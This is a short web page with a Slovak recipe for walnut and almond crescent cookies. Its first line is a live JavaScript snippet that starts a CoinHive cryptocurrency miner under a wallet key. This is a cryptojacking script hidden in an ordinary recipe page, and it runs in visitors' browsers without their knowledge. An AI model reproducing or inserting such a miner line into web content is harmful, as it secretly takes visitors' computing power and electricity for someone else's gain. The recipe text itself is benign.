var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

250 g mleté vlašské orechy (alebo aj iné), 250 g kryštálového cukru, 4 bielky, cca 100 g mletých neošúpaných mandlí

Postup: Bielky vyšľaháme, pridáme cukor a potom šľaháme ešte 10 minút nad parou. Nesmie byť veľmi horúce. Odstavíme a necháme vychladnúť a do tejto hustej hmoty nasypeme pomleté orechy. Pomocou kávových lyžičiek robíme guľky, ktoré hádžeme do misky, kde sú mleté mandle a tam ich obalíme a rukami vytvoríme šúľok, ktorý na plechu (vymastenom alebo vyloženom papierom) tvarujeme na rožtek veľký cca 3-4 cm, hrubý 1 cm. Pečieme vo vyhriatej rúre na 180^{0}C cca 10 minút. Z plechu vyberáme rožky pomocou noža alebo tortovej naberačky ešte kým sú rožky teplé, lebo ako chladnú, popraskajú sa.